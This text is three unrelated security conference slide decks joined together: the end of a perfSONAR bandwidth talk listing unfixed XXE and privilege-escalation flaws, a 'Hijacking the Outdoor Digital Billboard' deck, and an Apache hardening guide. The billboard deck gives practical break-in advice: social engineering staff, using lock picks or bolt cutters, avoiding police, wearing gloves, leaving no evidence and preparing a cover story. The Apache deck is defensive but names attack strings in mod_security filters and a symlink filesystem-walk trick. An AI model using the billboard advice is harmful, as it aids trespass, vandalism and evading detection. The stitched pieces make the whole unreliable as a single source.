PERFSONAR THEORETICAL NETWORK SPEED
5.719 Tb/s
CALCULATING ACTUAL NETWORK SPEED
CALCULATING ACTUAL NETWORK SPEED
➤ Enumerate all perfSONAR instances and their maximum interface speed
➤ Calculate instance location from GeoIP
➤ Match 5 closest instances of same or faster interface speed
CALCULATING ACTUAL NETWORK SPEED
➤ index=ps sourcetype=ps-summary | dedup ls_client_uuid | rename
external_address.address as address, external_address.speed as speed,
services{}.enabled as enabled | where mvindex(enabled,0)="1" | fillnull
value=10000000000 speed | iplocation address | map maxsearches=100000
search="search index=ps sourcetype=ps-summary | dedup ls_client_uuid | rename
services{}.enabled as peer_enabled | eval peer_enabled = mvindex(peer_enabled,0) |
where peer_enabled="1" | eval address=$address$, speed=$speed$ | rename
external_address.address as peer_address, external_address.speed as peer_speed |
fillnull value=10000000000 peer_speed | where peer_address!=address AND
peer_speed >= speed | eval lat=$lat$, lon=$lon$ | iplocation prefix=peer_
peer_address | eval distance=sqrt(pow(lat-peer_lat,2)+pow(lon-peer_lon,2)) | where
distance!=0 | sort distance | head 5 | fields address, speed, peer_address, peer_speed,
distance" | table address, speed, peer_address, peer_speed, distance
CALCULATING ACTUAL NETWORK SPEED
➤ Never run 2 tests with the same instance at the same time
➤ Never run more than 10 tests at the same time
➤ Never test a host that doesn’t have bwctl enabled
PERFSONAR ACTUAL NETWORK SPEED
3.703 Tb/s
LIVE DEMO
CONCLUSION
➤ oppd (XXE) - unresolved
➤ bandwidthGraph.cgi (RCE) - fixed by perfSONAR 3.5.1 on March 3rd
➤ ConfigDaemon (PrivEsc) - unresolved
CONCLUSION
➤ GitHub: http://www.github.com/bored-engineer
➤ Email: [email protected]
➤ LinkedIn: https://www.linkedin.com/in/bored-engineer
➤ Twitter: @TheBoredEng | pdf |
Hijacking the Outdoor
Digital Billboard
Tottenkoph ~ Rev ~ Philosopher
Who are we?
Tottenkoph
[email protected]
Member; Hackers for Charities
Rev
Host; Denver, CO 2600
Philosopher
Member; Denver, CO 2600
What do we cover?
• Tools and Information Needed
In case you wanted to try hacking the billboard, here’s
some information and tools that will come in handy.
<Obligatory Disclaimer> We are not suggesting,
teaching, or condoning the hacking of The Company’s
Outdoor Digital Billboard Network. </Obligatory
Disclaimer>
• Physical and Network Vulnerabilities
Yes, they exist and yes, there are many of them
What do we cover?
• What *NOT* to Do
A few things that you would want to avoid if you were
going to attempt hacking the billboard. (See previous
slide for Obligatory Disclaimer)
• The Purpose a Hacked Digital Billboard
Serves
Who would want to do this? Why?
Why did we do it?
• Was told, “I bet you can’t hack that.”
• No one had done it yet
• Saw it as a possible target for future lulz
• We were drunk and it sounded like a
good idea at the time
Who are they?
• International telecommunications
company
• Boasts that they have the only digital
billboard network in the country
This is quickly changing as other companies are
realizing they can save and make money by doing this
as well as get the environmentalists off their back (can
claim they’re being “green” by not building more
billboards). By the time that this presentation is given,
they will also have added billboards in various parts of
Europe.
The Company (Cont.)
• VERY litigation happy
They have a super big team of lawyers (we assume)
and we have… none. So we’re not going to specify
which company it is and maintain that this is for
informational purposes only. </ass covering>
• Appears as the blurry thing in all of our
pictures
Blurred out because, again, they’re very litigation
happy.
• Utilizes different manufacturers for their
boards
This provides various ways to get into their network.
Billboard
To our knowledge, three primary types of billboards exist:
• The first type contains a Verizon Telephone Network
Interface with clearly marked ADSL POTS splitter and
half-ringer.
• Instructions as to the testing and wiring of the
telephone line accessible from an exposed phone jack
suggest the performance of a basic GO-NO-GO
continuity test from the site of said billboard; further use
and/or potential vulnerabilities of this line for remote
access are unknown.
• Self-actuated data connections for update purposes
are presumed.
Billboard with Verizon
Telephone Network Interface
Wireless/Satelite
• The second type of billboard site noted
contains a nondescript box with a satellite dish.
• It is known that the only three methods of
billboard access and maintenance are satellite,
POTS and wireless.
• The existence of POTS in addition to
potentially unencrypted wireless traffic at the
sites of digital billboards presents a theoretical
security risk in the instance of the presence of
potential intruders on the intranet.
The billboard (Cont.)
Plug in
• An unlabeled box similar to the one present at
the second classification also exists at the site
of the third, secured with a standard
commercial Master brand lock.
• The medium of external communication from
this billboard is unknown at present, although
the presence of POTS is conjectured.
• An E-Clips surge suppressor is also visible at
the site of the third billboard.
The billboard
Physical Vulnerabilities
• Social Engineering
-- Sales people are really cool people because they’ll
answer any question you have if they think they’re
going to get a sale. We were able to find out image
specs, uploading information, and some security
procedures.
Sooper Seekrit Passphrase: Money is no option.
-- “I work for IT” or “I’m a college student majoring in
marketing”. Yeah, they still fall for that.
Physical Vulns (cont.)
• The Billboard
--One security camera, pointing at the images on the
billboard
--Nothing surrounding the area around the billboard on
the ground (gate, fence, etc.)
--Located off the side of a road, most of which don’t
experience heavy traffic between 2:30 and 4:00 in the
morning.
Physical Vulnerabilities
(cont.)
• The Billboard (cont.)
--Usually within walking
distance of a parking lot
that’s almost empty
during the same hours
--The only thing between
you and the console at
the bottom of a billboard
is a:
Commercial
Masterlock
(LOL!)
NOTE: Sometimes there
isn’t a lock at all.
Network Vulnerabilities
• They are vulnerable to:
--People connecting wirelessly (that’s right folks, to
connect, you don’t have to worry about passwords or
encryption)
--Packet sniffing (able to see where they’re
broadcasting to, could spoof the address, and voila)
--War dialing (depends on the location, but we were
told by a sales associate that this is one of their
concerns)
Network Vulns. (cont.)
• They are guilty of:
--Not closing unused ports
--Using default usernames/passwords (admin,
password, etc.)
--Using global usernames/passwords (A newly found
friend of ours that works for them told us this)
Information
• Image requirements
From The Company’s web site:
DIGITAL BULLETINs
200 h x 704 w pixel resolution or
2.778” h x 9.778” w (No Bleed)
RGB / 72 DPI / JPG format
• Which billboard you’re going to go to
It helps to plan ahead when and where you’re going.
• Cover story
This is useful for when you’re questioned by authority
figures (police, parents, etc).
Tools
• A laptop
Depending on which billboard you approach, you may
need a laptop with all of the spiffy wireless and packet
sniffing tools that are out there nowadays.
• Lock pick kit
+1 “Ninja” point. +1 Style
• Bolt Cutters (in lieu of lock pick kit)
-1 “Ninja” point. +1 “brute forcing” point.
• Misc. tools dependent upon the type of
billboard.
What Not to Do
• Try this during the day or peak hours of
the evening
As a rule of thumb, wait about half an hour after last
call to ensure that the drunks are well on their way
home and the cops are busy with them, not you.
• Do it during the holidays and/or weekend
• Forget to use gloves
• Mess with the box with the bright orange
sticker
What not to do (cont.)
• Hack a billboard near your house
• Leave any sort of evidence that you were
there (besides the image)
• Pay for the advert and claim it was a
hack.
Who would do this?
• (Graffiti) Artists
It’s a new medium that is in a public place that gets lots
of exposure.
• Young people
Hormones + Destruction of someone else’s property =
lulz
• Hackers
It’s something new to exploit and take advantage of.
Who would want to do this?
(Cont.)
• Extremists
Digital billboards would be a great way for them to
spread their message to a large audience quickly and
with little or no cost to them.
• Governments
See above.
Why would they want to?
• Vandalism
There will always be someone who wants to destroy
someone else’s property (for example, adding a word
bubble next to [insert name here]’s face that says
“LOLDONGS”).
• Digital Graffiti
Again, it’s a new medium and they can either slightly
alter pre-existing adverts to convey something else or
the images can be taken offline and the graffiti artists
could use the then-blank billboard as a clean canvas.
Why would they want to do
this? (cont.)
• Guerilla Advertising
Sort of became a buzz word that doesn’t hold any true meaning to
the listener. It usually alludes to aggressive, unconventional
marketing methods that is done on the cheap, uses psychology
and focuses more on creativity and generating more referrals and
bigger transactions.
• Spreading propaganda
Why just settle for the news, tv commercials, emails, and posters?
By posting your message on the billboard network, it’ll appear for
eight seconds on every billboard in that particular network
repeatedly for an undetermined amount of time.
• The Lulz
Note: This defense will only be useful in Internet court.
EOF
• For more information
contact Tottenkoph:
[email protected]
• Website with pictures, information and
video coming soon! | pdf |
Locking Down Apache
Locking Down Apache
Jay Beale
Senior Security Consultant, Intelguardians
[email protected]
(Def Con 12)
Contents
Configuration Modification
Chroot-ing Apache
Removing Modules
Using Security-focused Apache Modules
httpd.conf
We harden recent releases of Apache entirely
through the httpd.conf file.
/etc/apache/httpd.conf (Solaris)
/etc/httpd/conf/httpd.conf (Linux, recent)
/usr/local/apache/etc/httpd.conf
(compiled w/ --prefix=/usr/local/apache)
Let’s look at this file’s structure.
Apache Configuration File
Apache’s configuration file starts with a
number of generic options and then begins
to set options based on parts of the
webspace in <Directory> blocks.
<Directory />
Order Allow, Deny
Deny from All
</Directory>
Apache Config file
The Apache configuration file has three parts.
The first part applies to the entire server as
a whole, virtual servers and all.
### Section 1: Global Environment
ServerRoot "/usr/local/apache"
#Listen 12.34.56.78:80
Listen 80
LoadModule access_module modules/mod_access.so
LoadModule auth_module modules/mod_auth.so
LoadModule auth_anon_module modules/mod_auth_anon.s
...
LoadModule alias_module modules/mod_alias.so
LoadModule rewrite_module modules/mod_rewrite.so
Apache Config File Section 2 (Slide 1/3)
Section 2 applies to the main non-virtual
server. It also sets defaults for the virtual
servers that they can override.
### Section 2: ’Main’ server configuration
User nobody
Group #-1
ServerAdmin [email protected]
#ServerName www.example.com:80
DocumentRoot "/usr/local/apache/htdocs"
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
Apache Config File Section 2 (Slide 2/3)
# This should be changed to whatever you set
DocumentRoot to.
<Directory "/usr/local/apache/htdocs">
Options Indexes FollowSymLinks
AllowOverride None
Order allow,deny
Allow from all
</Directory>
UserDir public_html
#<Directory /home/*/public_html>
# AllowOverride FileInfo AuthConfig Limit Indexes
# Options MultiViews Indexes SymLinksIfOwnerMatch
IncludesNoExec
#</Directory>
Apache Config File Section 2 (Slide 3/3)
AccessFileName .htaccess
<Files ~ "^\.ht">
Order allow,deny
Deny from all
</Files>
ServerTokens Full
ServerSignature On
ScriptAlias /cgi-bin/ "/usr/local/apache/cgi-bin/"
<Directory "/usr/local/apache/cgi-bin">
AllowOverride None
Options None
Order allow,deny
Allow from all
</Directory>
IndexOptions FancyIndexing VersionSort
Apache Config File Section 3: Virtual
Hosting
#NameVirtualHost *:80
#<VirtualHost *:80>
# ServerAdmin [email protected]
# DocumentRoot /www/docs/dummy-host.example.com
# ServerName dummy-host.example.com
# ErrorLog logs/dummy-host.example.com-error_log
# CustomLog logs/dummy-host.example.com-access_log
common
#</VirtualHost>
Web Server Tightening
Do You Need a World-Accessible Web Server?
Modify httpd.conf to either make the web server listen
only on the loopback inteface:
Listen 127.0.0.1:80
or modify it to move the port:
Listen 192.168.1.4:26457
This may make the server easier to firewall if you have
less than granular control over what ports are allowed
to what hosts.
Web Server Tightening
Of course, using Listen to change the port only doesn’t
necessarily cut off access to clients in that granular
a fashion. For internal hosts, we’ve only hidden the
server, not cut off access.
We can restrict the server to specific hosts:
<Directory /usr/local/apache/htdocs>
order allow,deny
allow from 192.168.1.0/24
allow from 10.0.0.0/8
deny from all
</Directory>
Order / Allow and Deny
Order statements define whether the
allow statements will be default deny
or default allow.
The second of the two policies in
the statement is the default policy.
Access Control
We can even impose greater restrictions on who can
access our site.
<Directory /foo/public_html>
<Files foo-secret.html foo-extra-secret.html>
AuthName "Foo for Thought"
AuthType Digest
AuthDigestFile /foo/.htpasswd
Require valid-user
</Files>
</Directory>
The <Files> block wasn’t necessary -- if we left it
out, the access control applies to the entire directory.
Access Control continued
Create .htpasswd using the htpasswd command to md5
passwords.
htpasswd -c -m /foo/.htpasswd jay jaypasswd
After creating the file, all future users are added
without the -c option:
htpasswd -m /foo/.htpasswd seconduser secondpass
Walking the Filesystem
Many configurations of Apache allows the
webserver to serve any files readable by
its user from the entire server filesystem,
as soon as someone with write access to
/usr/local/apache/htdocs does this:
$ ln -s / /usr/local/apache/htdocs/my_link
A remote attacker can now see any file that the web
server user can see. Not good.
Spammers think: http://localhost/etc/passwd
Default Deny on Server Files
We tell the server to only serve files we
intend to be served.
<Directory />
Order allow,deny
Deny from all
</Directory>
<Directory /var/www/html>
Order Deny,Allow
Allow from all
</Directory>
<Directory /usr/users/*/public_html>
Order Deny,Allow
Options
Options <list> lists behavior allowed in the given <Directory
/foo> block.
All - All except multiviews
ExecCGI - Execution of CGI scripts permitted
FollowSymLinks - The server follows symlinks.
SymLinksIfOwnerMatch - The server only follows symbolic
links if the directory owner matches the symlink target.
Includes - Allow SSI’s, including exec
IncludesNoExec - Allow SSI’s, but no exec
Indexes - Lists files in a directory when index.foo is missin
MultiViews - Fuzzy search for content
Cutting Off Symlink Misconfigurations
Remove "FollowSymLinks" from Options statements,
especially from the <Directory /> block.
If we need symlinks, use its better replacement:
SymLinksIfOwnerMatch
Alternatively, use mod_rewrite to rewrite URLs to
achieve the same effect as symlinks.
Server Side Includes
Server side includes (SSI) can be dangerous.
They allow web developers to include other files, but
also to execute arbitrary commands with the user context of
the web server’s user. Here are the SSI possibilities:
config configure output formats
echo print variables
exec execute external programs
fsize print size of a file
flastmod print last modification time of a file
include include a file
printenv print all available variables
set set a value of a variable
Removing Server Side Includes
To remove the exec functionality, we can replace the
"Options Includes" lines with:
Options IncludesNOEXEC
or just remove Includes altogether.
Removing Indexing
The "Indexes" option tells the server to show us a list of files
whenever index.html is missing from a directory. This has
two weaknesses:
1) might allow our "walking the filesystem" attack
2) allows an attacker to potentially find and read files he
shouldn’t.
We can deactivate this by removing "Indexes" from the
Option lines and by creating an index.html file for each
directory.
Protecting the .htaccess and .htpasswd files
To protect these files against dictionary
attacks, make sure to not allow reads of the .ht* files:
<Files ~ "^\.ht">
Order allow,deny
Deny from all
</Files>
Directory-specific password Authentication:
htaccess
There are two ways to define the authentication and
other behavior for a given directory. First, and
best, you can place configuration in a <Directory>
block in the global configuration file.
Alternatively, you can apply the same directives
in a .htaccess file in a given directory.
$ cat /home/student/www/.htaccess
Option Indexes
AuthName "student site"
AuthType Digest
AuthDigestFile /home/student/www/.htpasswd
Require valid-user
Blocking .htaccess Overrides
An .htaccess file can override anything in the Options
statements, how the server handles files, or even what
hosts are allowed to connect to the server. The latter
is achieved by specifying directory-specific Allow and Deny
statements.
We can make overrides very specific, via the AllowOverride
statement:
Set:
AllowOverride AuthConfig
in the <Directory /> block.
AllowOverride Options
AuthConfig - Allow use of the authorization directives
FileInfo - Allow use of the directives controlling document
types
Indexes - Allow use of the directives controlling directory
indexing
Limit - Allow use of the directives controlling host access
(Allow, Deny and Order)
Options - Regular Options statements
Making Apache Offer Less Config
Information
Hide the version number from attackers to make
version scanners and potentially worms fail.
ServerSignature Off
Hide the list of modules and other status
information from an attacker:
ServerTokens Prod
Create Error Pages
Replacing the standard error messages
with custom pages might help foil automated
scanners, though this doesn’t change the
error code in the server’s HTTP response,
which is what most read.
ErrorDocument 500 /error-docs/error.html
ErrorDocument 404 /error-docs/error.html
Remove Unused Methods
<Limit method1 method2 ... methodN>
Available methods:
GET POST PUT DELETE CONNECT OPTIONS PATCH
PROPFIND
PROPPATCH MKCOL COPY MOVE LOCK UNLOCK
Methods are defined in section 9 of RFC2616
(http://www.ietf.org/rfc/rfc2616.txt)
Remove Unused Methods
Remove WebDAV methods
<Limit PROPFIND PROPPATCH LOCK UNLOCK MOVE
COPY MKCOL PUT DELETE>
Order allow,deny
Deny from all
</Limit>
Removing TRACE would help, but isn’t available here.
We’ll have to do this through mod_rewrite.
More about WebDAV:
http://www.apacheweek.com/issues/00-12-29)
http://www.ietf.org/rfc/rfc2518.txt
Using Limit to remove all but desired
methods
<Directory /usr/local/apache/htdocs>
<Limit GET POST OPTIONS>
Order allow,deny
Allow from all
</Limit>
<LimitExcept GET POST OPTIONS>
Order deny,allow
Deny from all
</LimitExcept>
#</Directory>
Dynamic content and CGI
Dynamic content authors often don’t understand the
HTTP protocol or have a strong grounding in security
principles.
Try to read or blackbox audit your dynamic content.
Blackbox Audit
There are some good blackbox audit programs.
Immunity’s Spike Proxy:
http://www.immunitysec.com/resources-freesoftware.shtml
Paros:
http://www.proofsecure.com/index.shtml
@Stake’s WebProxy
http://www.atstake.com/products/webproxy/
In essence, allows you to modify every part of your
client’s interaction with the webserver.
Coping with CGI’s or other Dynamic Conten
Either set specific directories that can run CGI scripts,
as is now the default in Apache, or disable them by
removing scriptalias statements and ExecCGI options
in Options statements.
Forcing CGI’s into a specific directory:
ScriptAlias /cgi-bin /var/www/cgi-bin
(http://httpd.apache.org/docs/howto/cgihtml#scriptalias)
SuEXEC
Think about using suEXEC or cgiwrap!
Normally CGI scripts run as the same user as the
webserver. Using suEXEC, they run as a particular user,
which lets you contain damage.
Add --enable-suexec to your ./configure statement,
recompile and restart the server. If the server finds
the suexec binary at the right place,
/usr/local/apache/sbin/suexec
in our example, it just starts using it.
http://httpd.apache.org/docs/suexec.html
Remove Default Content
In many web server vulnerabilities, example CGI scripts
caused the vulnerability.
Additionally, attackers often scan for specific Web
server types by looking for its default content. In
the case of Apache, that might be the manual or the
icons directory.
Removing Default Content
Remove:
<DocumentRoot>/icons
<DocumentRoot>/manual
Make sure there are no CGI scripts in the CGI
directory. On Fedora, that’s:
/var/www/cgi-bin
Chrooting Apache
We can contain the damage that a compromised Apache
server can do to a system by locking it into a
jail directory.
The /jail directory becomes Apache’s new root
filesystem. This directory must contain every
file on the system that Apache will need.
Creating the Chroot - Compiling Apache
It’s easier to re-compile Apache to put all of its
files in one place than to use a distro’s compile,
since the distros spread the files around the
filesystem.
$ ./configure --enable-mods-shared=most
--prefix=/usr/local/apache --enable-suexec
$ make
Chrooting Apache - Tools
When you chroot anything, your two greatest
allies are strace and ldd.
strace
runs a child process, displaying all system calls
ldd
lists the dynamically loaded libraries a program requires
Chrooting Apache
Create the primary directory structure:
umask 022
mkdir /jail && cd /jail
mkdir -p dev etc lib tmp usr usr/local usr/bin usr/lib
chmod 1777 /tmp
Create Devices
mknod -m 666 dev/null c 1 3
mknod -m 666 dev/random c 1 8
Create a passwd file
Look at what user Apache uses and create a passwd file.
egrep ’^user:’ /etc/passwd >etc/passwd
egrep ’^user:’ /etc/shadow >etc/shadow
egrep ’^group:’ /etc/group >etc/group
ldd on /bin/bash
ldd tells us what dynamically loaded libraries a
program uses.
# ldd /bin/bash
libtermcap.so.2 => /lib/libtermcap.so.2 (0xb75d2000)
libdl.so.2 => /lib/libdl.so.2 (0xb75cf000)
libc.so.6 => /lib/tls/libc.so.6 (0xb7498000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0xb75eb000)
Look for necessary libraries for all Apache
programs
# ldd /usr/local/apache/bin/* | sort | uniq | grep \=\>
libapr-0.so.0 => /usr/local/apache/lib/libapr-0.so.0
(0xb74bb000)
libaprutil-0.so.0 => /usr/local/apache/lib/libaprutil-0.so.0
(0xb75d6000)
libcrypt.so.1 => /lib/libcrypt.so.1 (0xb7457000)
libc.so.6 => /lib/tls/libc.so.6 (0xb72f8000)
libdb-4.1.so => /lib/libdb-4.1.so (0xb74f9000)
libdl.so.2 => /lib/libdl.so.2 (0xb742f000)
libexpat.so.0 => /usr/lib/libexpat.so.0 (0xb74d9000)
libgdbm.so.2 => /usr/lib/libgdbm.so.2 (0xb75bb000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0xb75eb000)
libm.so.6 => /lib/tls/libm.so.6 (0xb7484000)
libnsl.so.1 => /lib/libnsl.so.1 (0xb7442000)
Copy in Libraries
cp -p /usr/local/apache/lib/libapr-0.so.0
/usr/local/apache/lib/libaprutil-0.so.0 /jail/usr/local/apache/lib
cp -r /lib/libcrypt.so.1 /lib/libdb-4.1.so /lib/libdl.so.2
/lib/ld-linux.so.2 /lib/libnsl.so.1 /jail/lib
cp -r /lib/tls/libc.so.6 /lib/tls/libm.so.6 /lib/tls/libpthread.so.0
/lib/tls/librt.so.1 /jail/tls/lib
cp -r /usr/lib/libexpat.so.0 /usr/lib/libgdbm.so.2 /jail/usr/lib
Copy in Resolution Libraries and Files
cp -p /lib/nss_files.so.1 /lib/libnss_files.so.2
/lib/libnss_dns.so.1 /lib/libnss_dns.so.2 lib
cat >/jail/etc/nsswitch.conf
passwd: files
shadow: files
group: files
hosts: files dns
echo "127.0.0.1 localhost.localdomain localhost"
>/jail/etc/hosts
Time Zone Files
Either copy all time zone files in:
mkdir -p /jail/usr/share
cp -r /usr/share/zoneinfo /jail/usr/share/
or a single file:
mkdir -p /jail/usr/share/zoneinfo/America
cp -r /usr/share/zoneinfo/America/Chicago
/jail/usr/share/zoneinfo/America
Putting Apache into the Jail
cp -pr /usr/local/apache2 /jail/usr/local
Change HTTPD variable in
/jail/usr/local/apache/bin/apachectl
from:
’/usr/local/apache/bin/httpd’
to
’chroot /jail /usr/local/apache/bin/httpd’
Now start the daemon with /usr/local/apache/bin/apachectl
start
mod_rewrite
The apache module mod_rewrite was created as a general
swiss-army knife for rewriting incoming requests. It
can be used as a security tool, though.
mod_rewrite is very general, but its simplest use looks
like this:
RewriteEngine on
RewriteRule ^/bad-url$ /index.html
Using mod_rewrite to protect .htaccess files
We can use modrewrite to make a particular
request fail:
RewriteEngine on
RewriteRule /\.htaccess - [F]
This rewrites the URL as a -, but also causes the
request to fail.
Removing TRACE functionality
We place the following in the general config file.
RewriteEngine on
RewriteCondition %{REQUEST_METHOD} ^TRACE
RewriteRule .* [F]
mod_rewrite wrapup
mod_rewrite is extremely flexible and extremely powerful.
The great thing about mod_rewrite is it gives you all the
configurability and flexibility of Sendmail. The downside
to mod_rewrite is that it gives you all the configurability
and flexibility of Sendmail.’
- Brian Behlendorf, Apache Group
You can pass the rewrite to an external program.
You can rewrite a given string with a randomly entry
in a replacement table (originally used for load-balancing...)
You can set a cookie on the client’s browser.
Advanced Web Server Security: Remove
modules!
We can remove modules that we’re not using. Not all
vulnerabilities aren’t in the core Apache code.
Much is in the modules.
http://httpd.apache.org/docs-2.0/mod/
Figuring Out Which Modules to Remove
This page allows you to look at a module and
see what configuration directives it provides:
http://httpd.apache.org/docs-2.0/mod/
This page allows you to look at configuration
directives and see what modules provide them:
http://httpd.apache.org/docs-2.0/mod/directives.html
Let’s look at the default module list in Apache on
Red Hat 9.
Default Module List in Apache in RH9
mod_access.so
Provides access control based on client hostname, IP
address, or other characteristics of the client request.
mod_auth.so
User authentication using text files
mod_auth_anon.so
Allows "anonymous" user access to authenticated areas
mod_auth_dbm.so
Provides for user authentication using DBM files
mod_auth_digest.so
User authentication using MD5 Digest Authentication.
Default Module List in Apache in RH9
mod_include.so
Server-parsed html documents (Server Side Includes)
mod_log_config.so
Configurable-logging of the requests made to the server.
mod_env.so
Modifies the environment which is passed to CGI scripts
and SSI pages.
mod_mime_magic.so
Determines the MIME type of a file by looking at a few
bytes of its contents.
mod_cern_meta.so
Older "CERN" header modification method for setting
expires or other custom headers.
Default Module List in Apache in RH9
mod_expires.so
Generation of Expires HTTP headers according to config file
mod_headers.so
Customization of HTTP request and response headers
mod_usertrack.so
"Clickstream" cookie-based logging of individual user activity
mod_unique_id.so
Provides an environment variable with a unique identifier
for each request, potentially used in webapps.
Default Module List in Apache in RH9
mod_setenvif.so
Allows the setting of environment variables based on
characteristics of the request
mod_mime.so
Associates the requested filename’s extensions with the
file’s behavior (handlers and filters) and content (mime-type,
language, character set and encoding)
mod_dav.so
Distributed Authoring and Versioning (WebDAV) functionality
(www.webdav.org)
Default Module List in Apache in RH9
mod_status.so
Provides information on server activity and performance
mod_autoindex.so
Generates directory indexes, automatically, similar to
the Unix ls command or the Win32 dir shell command
Requires mod_dir.so.
mod_asis.so
Sends files that contain their own HTTP headers
mod_info.so
Provides a comprehensive overview of the server
configuration
Default Module List in Apache in RH9
mod_cgi.so
Execution of CGI scripts
mod_dav_fs.so
filesystem provider for mod_dav
mod_vhost_alias.so
Provides for virtual hosting
mod_negotiation.so
Provides for content negotiation (best representation based
on browser-supplied media type, languages, character
set and encoding)
Default Module List in Apache in RH9
mod_dir.so
Provides for "trailing slash" redirects and serving directory
index files
Requires: mod_autoindex.so
mod_imap.so
Server-side imagemap processing
mod_actions.so
This module provides for executing CGI scripts based on
media type or request method.
mod_speling.so (not a typo!)
Attempts to correct mistaken URLs that users might have
entered by ignoring
capitalization and by allowing up to one misspelling
Default Module List in Apache in RH9
mod_userdir.so
User-specific directories
mod_alias.so
Provides for mapping different parts of the host filesystem in
the document tree
and for URL redirection. Required for CGI ScriptAlias
directive.
mod_rewrite.so
Provides a rule-based rewriting engine to rewrite requested
URLs on the fly.
mod_proxy.so
HTTP/1.1 proxy/gateway server
Default Module List in Apache in RH9
mod_proxy_ftp.so
FTP support module for mod_proxy
mod_proxy_http.so
HTTP support module for mod_proxy
mod_proxy_connect.so
mod_proxy extension for CONNECT request handling
Figuring Out Which Modules to Remove
This page allows you to look at a module and
see what configuration directives it provides:
http://httpd.apache.org/docs-2.0/mod/
This page allows you to look at configuration
directives and see what modules provide them:
http://httpd.apache.org/docs-2.0/mod/directives.html
Apache Security Modules
There are new modules being written specifically
to increase the security of the Apache server.
mod_security
mod_paramguard
mod_hackprotect
mod_hackdetect
mod_dosevasive
mod_bandwidth
mod_security
This module looks for predefined attack signatures
in the client’s requests. It can block or simply
alert on those requests. This is stronger than
mod_rewrite primarily because it can detect and
block data in any part of the request, not simply
in the GET URI.
It also performs canonicalization features.
www.modsecurity.org
mod_security filtering
Prevent SQL injection in a cookie:
SecFilterSelective COOKIE_sessionid "!^(|[0-9]{1,9})$"
Reject Googlebot
SecFilter HTTP_USER_AGENT "Google"
nolog,redirect:http://www.google.com
Reject Javascript in all variables except varfoo
SecFilter "ARGS|!ARG_varfoo" "<[:space:]*script"
Reject Specific Command-execution
SecFilter /etc/password
SecFilter /bin/ls
mod_security filtering (continued)
Reject Directory Traversal
SecFilter "\.\./"
Reject Cross-Site Scripting (XSS) Attacks
SecFilter "<[[:space:]]*script"
Reject SQL injection attacks
SecFilter "delete[[:space:]]+from"
SecFilter "insert[[:space:]]+into"
SecFilter "select.+from"
mod_security Canonicalization Features
Remove multiple forward slashes (//).
Remove self-referenced directories (./).
Treat \ and / equally (on Windows only).
Perform URL decoding.
Replace null bytes (%00) with spaces.
URL encoding validation.
Unicode encoding validation.
Byte range verification.
Miscellaneous mod_security features
mod_security can chroot Apache after its
already loaded its dynamically loaded libraries.
SecChrootPath /jail/usr/local/apache
It can also change its server signature:
SecServerSignature "Microsoft-IIS/5.0"
mod_security as a Reverse Proxy
Ivan Ristic’s SecurityFocus article gives great
instructions for using mod_security as a web
security proxy (application-specific NIPS).
Set up an Apache server in front of modsecurity.org
with the following virtual config:
<VirtualHost www.modsecurity.org>
ServerName www.modsecurity.org
DocumentRoot /rproxy/nowhere
ProxyRequests Off
ProxyPass / http://192.168.254.10/
ProxyPassReverse / http://192.168.254.10/
mod_security as a Reverse Proxy
(continued)
SecFilterEngine On
SecFilterScanPOST On
SecFilterCheckURLEncoding On
# Scan response body
SecFilterScanOutput On
# On only if using Unicode
SecFilterCheckUnicodeEncoding Off
# Only allow certain byte values to be a part of the request.
# Most English-only applications will work with 32 - 126.
SecFilterForceByteRange 1 255
mod_security as a Reverse Proxy
(continued)
# Audit log logs complete requests. Configured as below it
# will only log invalid requests for further analysis.
SecAuditEngine RelevantOnly
SecAuditLog logs/audit_log
SecFilterDebugLevel 0
SecFilterDebugLog logs/modsec_debug_log
# By default, deny requests with status 500
SecFilterDefaultAction "deny,log,status:500"
# Put your mod_security rules here
# ...
</VirtualHost>
mod_parmguard
Definitely the most useful of the Apache modules,
mod_parmguard (parameter guard) inspects incoming
form submittals for abnormally-set parameters.
The module includes a script that spiders your
web application, building up a profile of all
forms in use. You can use this profile directly
or instead tune it for better detection.
For instance, the script might make sure that
a parameter only got numeric values, but you
could force those numeric values to be between
1 and 5.
www.trickytools.com
mod_paramguard - Setting up Apache to
Use
Make sure your Apache server has the module
activated:
LoadModule parmguard_module
modules/mod_parmguard.so
ParmguardConfFile /usr/local/apache/conf/mainconf.xml
...
<Location /usr/local/apache/htdocs/applicationdir>
ParmguardEngine on
</Location>
mod_paramguard configuration
<xml version="1.0"?>>
<!DOCTYPE parmguard SYSTEM "mod_parmguard.dtd"/>
<parmguard>
<global name="http_error_code" value="404"/>
<url>
<match>validate.php</match>
<parm name="name">
<type name="string"/>
<attr name="maxlen" value="10"/>
<attr name="charclass" value="^[a-zA-Z]+$"/>
</parm>
mod_paramguard configuration (continued)
<parm name="age">
<type name="integer"/>
<attr name="minval" value="10"/>
<attr name="maxval" value="99"/>
</parm>
</url>
</parmguard>
Managing paramguard’s configuration
htmlspider creates a config file that you
can start with. Obviously, it gets radio
buttons very right, but can only do length
checks on strings. It’s up to you to then
tighten this up:
htmlspider.pl -v -h www.mysite.com/target_form.php
As you build more profiles using htmlspider.pl, or
as you re-run it on changed sites, you can use
confmerger to combine them.
confmerger.pl current-config file1 file2
mod_hackprotect
Commercially sold for $50 per server, this module
detects brute-forcing password guessing attempts
and locks out those IPs.
This only detects HTTP auth, not custom script
authentication.
www.howlingfrog.com/products/apache
mod_hackdetect
Commercially sold for $50 per server, this one
detects multiple logins for a given user from
different IP addresses and alerts or deactivates
the user account.
This can be strong for detecting users who are
sharing their accounts or having their accounts
stolen. Utility is limited by the fact that
this is focused on HTTP auth.
www.howlingfrog.com/products/apache
mod_dosevasive
This module is quite simple. It keeps count of
the number of concurrent connections from each IP
address connecting to the server and cuts off an
IP that’s making too many connections too fast.
The cutoff lasts for 10 seconds since the last
attempted connection.
www.freshmeat.net/projects/mod_dosevasive
mod_bandwidth
This module, only for Apache 1.3, allows you to
configure strong bandwidth limits into Apache.
While this isn’t primarily a security tool, it can
be useful for blocking DoS attacks.
www.cohprog.com/mod_bandwidth.html
Credits and Book Reference
The chroot process and much of the security
module research is based strongly on Tony Mobily’s
book:
Hardening Apache
by Tony Mobily
ISBN 1590593782
Mod_security info comes from Ivan Ristic’s OnLamp article:
http://www.onlamp.com/pub/a/apache/2003/11/26/mod_secu
and Ivan Ristic’s SecurityFocus article:
http://www.securityfocus.com/infocus/1739
Much of the other Apache research comes from
Speaker Bio
Jay Beale is the Lead Developer of the Bastille
Linux project, the creator of the Center for
Internet Security Unix Audit Tool and Linux
Benchmark, and a member of the Honeynet Project.
